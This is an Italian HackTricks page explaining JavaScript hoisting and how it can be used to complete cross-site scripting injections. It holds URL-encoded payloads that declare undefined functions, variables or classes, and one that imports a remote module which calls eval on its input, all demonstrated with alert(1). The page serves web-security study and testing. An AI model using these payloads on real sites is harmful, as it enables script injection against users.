JS Hoisting

Support HackTricks

Informazioni di base

Nel linguaggio JavaScript, viene descritto un meccanismo noto come Hoisting in cui le dichiarazioni di variabili, funzioni, classi o importazioni vengono concettualmente sollevate in cima al loro ambito prima che il codice venga eseguito. Questo processo è eseguito automaticamente dal motore JavaScript, che analizza lo script in più passaggi.

Durante il primo passaggio, il motore analizza il codice per controllare errori di sintassi e lo trasforma in un albero di sintassi astratta. Questa fase include l'hoisting, un processo in cui alcune dichiarazioni vengono spostate in cima al contesto di esecuzione. Se la fase di analisi ha successo, indicando che non ci sono errori di sintassi, l'esecuzione dello script procede.

È fondamentale comprendere che:

  1. Lo script deve essere privo di errori di sintassi affinché l'esecuzione avvenga. Le regole di sintassi devono essere seguite rigorosamente.

  2. La posizione del codice all'interno dello script influisce sull'esecuzione a causa dell'hoisting, sebbene il codice eseguito possa differire dalla sua rappresentazione testuale.

Tipi di Hoisting

Basato sulle informazioni di MDN, ci sono quattro tipi distinti di hoisting in JavaScript:

  1. Value Hoisting: Consente l'uso del valore di una variabile all'interno del suo ambito prima della sua linea di dichiarazione.

  2. Declaration Hoisting: Permette di fare riferimento a una variabile all'interno del suo ambito prima della sua dichiarazione senza causare un ReferenceError, ma il valore della variabile sarà undefined.

  3. Questo tipo altera il comportamento all'interno del suo ambito a causa della dichiarazione della variabile prima della sua linea di dichiarazione effettiva.

  4. Gli effetti collaterali della dichiarazione si verificano prima che il resto del codice che la contiene venga valutato.

In dettaglio, le dichiarazioni di funzione mostrano un comportamento di hoisting di tipo 1. La parola chiave var dimostra un comportamento di tipo 2. Le dichiarazioni lessicali, che includono let, const e class, mostrano un comportamento di tipo 3. Infine, le dichiarazioni import sono uniche in quanto vengono hoisted con comportamenti sia di tipo 1 che di tipo 4.

Scenari

Pertanto, se hai scenari in cui puoi Inject JS code after an undeclared object viene utilizzato, potresti fix the syntax dichiarandolo (in modo che il tuo codice venga eseguito invece di generare un errore):

// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};

//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '<INJECTION>')

//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
<INJECTION>
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie('leo','INJECTION')
test['cookie','injection']

Altri Scenari

// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
// You can inject
alert(1));function x(){}//
// And execute the allert with (the alert is resolved before it's detected that the "y" is undefined
x.y(1,alert(1));function x(){}//)
// Undeclared var accessing 2 nested undeclared method
x.y.z(1,INJECTION)
// You can inject
");import {x} from "https://example.com/module.js"//
// It will be executed
x.y.z("alert(1)");import {x} from "https://example.com/module.js"//")


// The imported module:
// module.js
var x = {
y: {
z: function(param) {
eval(param);
}
}
};

export { x };
// In this final scenario from https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/
// It was injected the: let config;`-alert(1)`//`
// With the goal of making in the block the var config be empty, so the return is not executed
// And the same injection was replicated in the body URL to execute an alert

try {
if(config){
return;
}
// TODO handle missing config for: https://try-to-catch.glitch.me/"+`
let config;`-alert(1)`//`+"
} catch {
fetch("/error", {
method: "POST",
body: {
url:"https://try-to-catch.glitch.me/"+`
let config;`-alert(1)-`//`+""
}
})
}

Riferimenti

Supporta HackTricks

Last updated